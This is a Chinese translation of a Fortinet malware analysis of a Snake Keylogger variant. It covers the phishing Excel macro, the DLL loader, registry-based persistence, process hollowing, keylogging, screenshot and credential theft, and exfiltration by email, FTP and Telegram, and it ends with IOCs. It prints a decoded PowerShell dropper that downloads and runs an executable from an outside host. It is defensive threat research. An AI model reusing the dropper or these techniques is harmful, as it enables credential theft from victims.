譯者:知道創宇404實驗室翻譯組
原文鏈接:https://www.fortinet.com/blog/threat-research/deep-dive-into-a-fresh-variant-of-snake-keylogger-malware
前言
Fortinet 的 FortiGuard 實驗室最近發現了一個用于傳播惡意軟件的微軟 Excel 樣本。在研究了它的行為之后,我發現它是 Snake Keylogger 惡意軟件的一個新變種。
Snake Keylogger是一個模塊化的.NET
鍵盤記錄器。它最早出現在2020年末,主要行為是從受害者的設備中竊取敏感信息,包括保存的證書、受害者的按鍵、受害者屏幕的截圖和剪貼板數據。
2021年7月,Snake Keylogger 首次進入 TOP 10大流行惡意軟件報告,這意味著 Snake Keylogger 影響力正在增加,并威脅更多人的設備和敏感數據。
在這個威脅研究博客中,你將了解 Snake Keylogger 的變體是如何通過捕獲的 Excel 樣本下載和執行的,這個變體使用了什么技術來保護它不被分析,它從受害者的機器上竊取了什么敏感信息,以及它如何將收集到的數據提交給攻擊者。
我們開始吧。
捕獲的 Microsoft Excel 樣本是什么樣子
此 Excel 樣本以釣魚郵件附件的形式發送,內含惡意的 Macro VBA 代碼。下圖顯示了該文件打開時的屏幕截圖。它會顯示一個模糊的文檔圖片,并要求受害者點擊黃色按鈕以獲得一個更清晰的圖像。
一旦受害者單擊黃色按鈕“ Enable Content”,惡意的 VBA
代碼就會在后臺執行。這個惡意宏項目包含惡意 VBA 代碼,受密碼保護,因此分析程序無法查看該代碼。但是,我們可以修改它的二進制文件來消除這個限制。
檢查其代碼時,在打開文檔時會自動調用“Workbook _ activate()
”方法。它將一段 PowerShell
代碼從本地變量寫入到 BAT 文件中。下圖顯示了此方法的部分 VBA 代碼,其中變量“s”保存 PowerShell 代碼,“Gqyztfbtsogpnruooqr.BAT
”是 BAT 文件,最后通過調用代碼“ x = Shell (BAT,0)
”執行。
圖的底部顯示了變量“ s”的內容,其中包含執行時由PowerShell.exe
解碼的base64
編碼的PowerShell代碼。
下面是 base64解碼的 PowerShell 代碼:
$ProcName = "Wheahmnfpgaqse.exe";
(New-Object System.Net.WebClient). DownloadFile ("hxxp[:]//3[.]64[.]251[.]139/v3/2/Requests07520000652.exe","$env:APPDATA\$ProcName");
Start-Process ("$env:APPDATA\$ProcName")
PowerShell 代碼非常簡單且易于理解。它將一個文件(“Requests07520000652.exe
”)下載到受害者的設備上,通過調用“ DownloadFile ()
”將其置于“% AppData% Wheahmnfpgaqse.exe
”,并通過調用“Start-Process ()
”執行該文件。
Snake Keylogger 下載程序
經過一些研究,我了解到“Wheahmnfpgaqse.exe
”文件是 Snake Keylogger 的下載程序,它是一個.Net程序。當它啟動時,它會休眠21秒,用以繞過沙盒,并在觸發無動作超時的時候終止示例進程。
21秒后,下載程序調用一個名為“ Consturctor ()
”的函數,如圖所示。然后調用另一個函數“Program.List_Types()
”,其中它從鏈接“hxxps[:]//store2[.]gofile[.]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll
”下載 Snake Keylogger 模塊,它是 RC4
加密的 DLL 文件。接下來,它調用“ ToRc ()
”函數來使用解密密鑰“Dllzjn
”對 RC4進行解密。
然后它繼續加載解密的 Dll 模塊(一個.Net Dll 文件,名為“ huzeigtmvaplpinhoo.Dll
”) ,并枚舉它的導出函數以查找“ G6doICqoMU ()
”,該函數通過執行函數Consturctor ()
中的“type.InvokeMember(\“G6doICqoMU\”,BindingFlags.InvokeMethodnull,null,null,null)
”調用。如圖所示。已經解密的.Net Dll 是 Snake Keylogger的種植和安裝程序。
讓我們深入這個模塊,看看它是如何執行任務的。
Snake Keylogger 安裝程序
根據我的分析,解密的 Dll 模塊(“ huzeigtmvplpinhoo.Dll”)將 Snake Keylogger 部署到受害者的設備上,并將其設置為自動運行程序。它從 Resource 目錄中提取一個可執行的 PE 文件到內存中,然后執行進程空心化,將可執行的 PE 文件注入到新創建的子進程中并執行它。
我將在本節中詳細解釋它是如何執行這些功能的。
1.持久性機制
上圖顯示了解密的 Dll 模塊(“ huzeigtmvplpinhoo.Dll”)的大綱。如圖所見,為了防止其代碼被分析,文件被模糊化,因此類名、函數名和變量名都是隨機生成的無意義字符串,分析人員分析它時會很麻煩。
導出函數“ G6doICqoMU ()”的全名是“ huzeigtmvaplpinhoo! pxfqpio3clcaofxfj.corfgloyrglurywdwih.G6doICqoMU ()
”。同樣,出于同樣的目的,它在這個函數開始時休眠35秒,以繞過一些惡意軟件分析系統。
接下來,它將使這個 Snake Keylogger 程序在受感染的 Windows 上持久化。眾所周知,Windows 系統在“開始菜單”中有一個“啟動”文件夾。該文件夾中的程序在 Windows 啟動時啟動。該文件夾的完整路徑在系統注冊表中定義,字符串值為“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup
”和“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup
”。“ Startup”的值數據默認為“C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
”。
Snake Keylogger 的這個變體將“ Startup”的值改為其他文件夾的值。下圖顯示,通過調用 API SetValue ()
將 Windows 啟動文件夾更改為“C:\Users\M0YTes0Env\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\chsg\
”的代碼。
在圖的下半部分,您可以看到系統注冊表路徑、值名稱和新值數據的內容。
“chsg
”是由 Snake Keylogger 創建的一個新文件夾。程序將 Snake Keylogger 文件(下載的“ Wheahmnfpgaqse.exe
”)復制到這個文件夾中,并將其重命名為“sgosr.exe
”。這可以確保每次啟動 Snake Keylogger程序時,Windows 系統都會啟動它。
2.從資源中提取
盡管 Huzeigtmvaplpinhoo.dll 的內容只出現在內存中,但為了分析它,我將它保存到一個本地文件中。它在 Resource 目錄中有幾個資源,如下圖所示。
提取 Snake Keylogger 的有效負載文件的過程有點復雜。它使用了一種狡猾的方式來加載資源。它有一個由 ResolveEventHandler
定義的本地回調函數,該函數注冊到 AppDomain.ResourceResolve
,當它未能按名稱加載資源時會被調用。它看起來像是 windowsSEH 策略處理異常的異常處理程序。此外,它還有另一個注冊到AppDomain.AssemblyResolve
的本地回調函數,當它未能按名稱加載程序集(如模塊)時會被調用。
下面是注冊本地資源解析的偽代碼,其中T9wOjU5ccxTJaVfUntn. Osc50oil0l
是本地回調函數。
AppDomain.ResourceResolve += new ResolveEventHandler(T9wOjU5ccxTJaVfUntn.Osc50oil0l)
現在,讓我們看看 Snake Keylogger 是如何解決這個挑戰的——加載一個不存在的資源,這將觸發資源加載失敗。它計劃從當前模塊中讀取一個名為“Qkxkikeg
”的資源,該模塊在 Resource 目錄中沒有這樣的命名資源,如圖所示。資源加載失敗提示出現,注冊的本地ResolveEventHandler
函數被調用來解決此錯誤。這將導致加載程序集失敗,其程序集解析回調函數被調用。
不久之后,從“{ d977ee8c-85ce-4731-b9a1-323ba88c6eeb }
”資源解密的另一個 PE 文件出現在內存中。它包含一個名為“Qkxkikeg”的資源,這是原始請求資源名稱,如圖所示。
Snake Keylogger 的有效負載是 GZIP 格式壓縮文件,存在于 Resource 目錄“ ClassLibrary1.Properties”下的資源“Qkxkikeg”中。
下圖左側顯示資源“ Qkxkikeg”(反向)的 GZIP 數據,右側顯示解壓縮的 Snake Keylogger。
3.進程空洞化
然后,該程序創建一個掛起的子進程,并將壓縮的 Snake Keylogger 有效負載部署到子進程中。然后恢復要運行的子進程。同時,父進程通過調用Environment.Exit(0)
函數退出。
根據上圖中的代碼,它將調用API CreateProcess ()
來創建子進程,并使用Creation Flag 134217732U (0x80000004)
,也就是 CREATE_NO_WINDOW
和CREATE_SUSPENDED
。
然后調用API WriteProcessMemory ()
將 Snake Keylogger 有效負載逐節復制到子進程中。然后調用 SetThreadContext ()
,使子進程指向 Snake Keylogger 的入口點函數。在父進程退出之前,將調用一個 API resumread ()來還原子進程以便運行。
Snake Keylogger 有效載荷
Snake Keylogger 有效負載文件的代碼完全模糊化(如圖所示)以保護它不被分析,類名和函數名也無法讀取。
因此,為了更好地分析和解釋其代碼和意圖,我使用“de4dot”工具對有效載荷文件進行了去模糊處理。這使得它的代碼更具可讀性,我的分析就是基于這個結果。
瀏覽 Snake Keylogger代碼時,我發現到它具備一些功能,比如記錄受害者的擊鍵(鍵盤記錄器)、從剪貼板上竊取數據、獲取受害者的屏幕截圖、竊取系統剪貼板上的數據,以及竊取安裝在受害者設備上的某些特定軟件客戶端的保存憑證。
1.鍵盤記錄器功能
下圖顯示了設置鍵盤記錄器的代碼片段。
它調用API SetWindowsHookExA ()
來注冊一個鉤子回調函數(this.callback _ processkey ()
)來監視低級別鍵盤輸入事件。第一個參數是鉤子類型,其中“13”表示WH_KEYBOARD_LL
。
在此之后,當受害者打字時,Windows 系統調用回調函數,該函數能夠處理并記錄擊鍵到全局字符串變量中。它還通過調用api GetForegroundWindow ()
和gettwindowtext ()
來記錄前景窗口標題,以確定受害者打字的區域。
它還有一個定時器 (Timer0) ,可以不斷地向攻擊者發送鍵盤記錄器數據。
2.屏幕截圖
它可以截取受害者設備的屏幕截圖。它有一個定時器(Timer1) ,可以通過調用API CopyFromScreen ()
不斷捕獲受害者的屏幕截圖。它將截圖保存到系統的“ MyDocuments
”文件夾中的一個本地 Screenshot.png
文件中。它還將這個圖片文件發送給攻擊者。
3.系統剪貼板
它有兩個定時器。一個(Time2)用于通過調用 Clipboard.GetText ()
收集系統剪貼板數據并保存到全局變量。另一個(Time3)用于將收集到的剪貼板數據發送給攻擊者。
上圖顯示了用于獲取系統剪貼板數據的 Timer 函數。每次計數時,它都會檢查當前剪貼板數據是否已經在全局變量 main_cls.string_clipboard_data
中收集。字符串剪貼板數據。如果沒有,則將當前剪貼板數據附加到全局變量。
4.竊取證書
根據我的分析,這個變種的主要工作是從受害者的設備中竊取證書。它在Main ()
函數中實現了竊取憑據,如下圖所示。
這是模糊化的 Main ()函數,用于從各種客戶機竊取憑據。底部的函數提交被盜的憑據。這些函數從保存每個軟件的不同地方獲得保存的憑證,包括本地文件(如 Chrome)和系統注冊表(如 Outlook)等。
現在我將以 Outlook 為例來演示 Snake Keylogger 是如何收集憑據的。
下圖是一個即將從系統注冊表讀取 Microsoft Outlook 憑據的函數的截圖。它通過四個注冊表路徑為不同的 Outlook 版本讀取數據(如果適用),如“電子郵件”和“ IMAP 密碼”或“POP3密碼”或“ HTTP 密碼”或“ SMTP 密碼”和“ SMTP 服務器”。
下面是一個示例,展示了 Snake Keylogger 可以從 Microsoft Outlook 收集哪些憑證信息:
-------- Snake Keylogger --------
Found From: Outlook
URL: smtp.gmail.com
E-Mail: victim_email@gmail.com
PSWD: {Password}
我將 Snake Keylogger 攻擊的客戶分類如下:
- 瀏覽器:
Google Chrome, Mozilla Firefox, Mozilla SeaMonkey Browser, Mozilla IceCat Browser, Yandex Browser, Microsoft Edge, Amigo Browser, Nichrome Browser, QQBrowser, Coccoc Browser, Orbitum Browser, Slimjet Browser, Iridium Browser, Vivaldi Browser, Iron Browser, Ghost Browser, Cent Browser, Xvast Browser, Chedot Browser, SuperBird Browser, 360 Browser, 360 Secure Browser, Comodo Dragon Browser, Brave-Browser, Torch Browser, UC Browser, Blisk Browser, Epic Privacy Browser, Opera Web Browser, Liebao Browser, Avast Browser, Kinza Browser, BlackHawk Browser, Citrio Browser, Uran Browser, Coowon Browser, 7 Star Browser, QIP Surf Browser, Sleipnir Browser, Chrome Canary Browser, CoolNovo Browser, SalamWeb Browser, Sputnik Browser Extension, Falkon Browser, Elements Browser, Slim Browser, Ice Dragon Browser, CyberFox Browser, PaleMoon Browser, Waterfox Browser, Kometa Browser and various browsers designed based on Chromium project.
- 電郵客戶端:
Microsoft OutLook, Tencent Foxmail, Mozilla Thunderbird and Postbox.
- 其他客戶:
FileZilla, Pidgin and Discord.
向攻擊者發送被盜數據
根據 Snake Keylogger 的這個變體的代碼,它向攻擊者發送一封電子郵件(使用 SMTP 協議)來提交受害者被盜的憑據數據。
Snake Keylogger 收集關于受害者 Windows 系統的基本信息,比如用戶名、 PC 名、系統日期和時間、公共 IP 地址和國家,這些信息被放在已收集憑據的header處。
上圖顯示了把竊取憑據發送給攻擊者的電子郵件。底部是電子郵件的主題和主體。盜取的憑證被放在“Passwords.txt
”和“User.txt
”兩個附件中。下圖是“Password.txt”的屏幕截圖,該截圖附在發送給攻擊者的電子郵件中,其中的基本信息和憑據是從我的測試 Windows 系統中盜取的。
為了向攻擊者發送被盜數據,它定義了一些變量,包含發送者的電子郵件地址、密碼、 SMTP 服務器地址和 SMTP 端口,如下圖所示,它定義了類的構造函數中的變量。
除了通過電子郵件發送數據,這個 Snake Keylogger 變種還提供 FTP 和 Telegram 方法,將收集到的敏感數據提交給攻擊者。
對于 FTP,攻擊者需要設置一個 FTP 服務器,然后告訴 Snake Keylogger FTP 服務器的地址和 Snake Keylogger上傳敏感數據需要的憑據。
對于 Telegram,Snake Keylogger 使用“ Telegram Bot API”的“ sendDocument”方法將其盜取的數據提交給攻擊者提供的 Telegram 帳戶。有關 Telegram 方法的更多信息,請參見下圖。
結論
為了更好地理解這個惡意軟件的整個過程,我在下圖中繪制了一個流程圖,概述了分析中解釋的主要步驟。
在本文的開頭,我們介紹了 Excel 文檔中的惡意宏是如何執行 PowerShell用來下載 Snake Keylogger下載程序的。
接下來,我更關注 Snake Keylogger 安裝程序如何對受害者的設備執行持久化,以及它提取 Snake Keylogger 的有效負載的復雜而棘手的方法。
然后,我詳細介紹了 Snake Keylogger 的這個變體所提供的功能,比如記錄擊鍵、收集憑證數據、剪貼板數據和屏幕截圖。
最后,我解釋了電子郵件是如何通過將收集到的數據提交給攻擊者,以及另外兩種方法: FTP 和 Telegram。
IOCs
URLs:
"hxxp[:]//3[.]64[.]251[.]139/v3/2/Requests07520000652.exe" "hxxps[:]//store2[.]gofile[.]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll"
示例 SHA-256:
[SOA# 1769.xlsm] 3B437BAA9A07E9DECE2659F20B5D97F8F729BA077D399933041CDC656C8D4D04
[Requests07520000652.exe or Wheahmnfpgaqse.exe] 53D520C1F12FE4E479C6E31626F7D4ABA5A65D107C1A13401380EBCA7CCA5B05 References:
參考文獻:
https://blog.checkpoint.com/2021/08/12/july-2021s-most-wanted-malware-snake-keylogger-enters-top-10-for-first-time/ https://docs.microsoft.com/enus/dotnet/api/system.appdomain.assemblyresolve?view=net-5.0 https://docs.microsoft.com/enus/dotnet/api/system.appdomain.resourceresolve?view=net-5.0
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1752/
暫無評論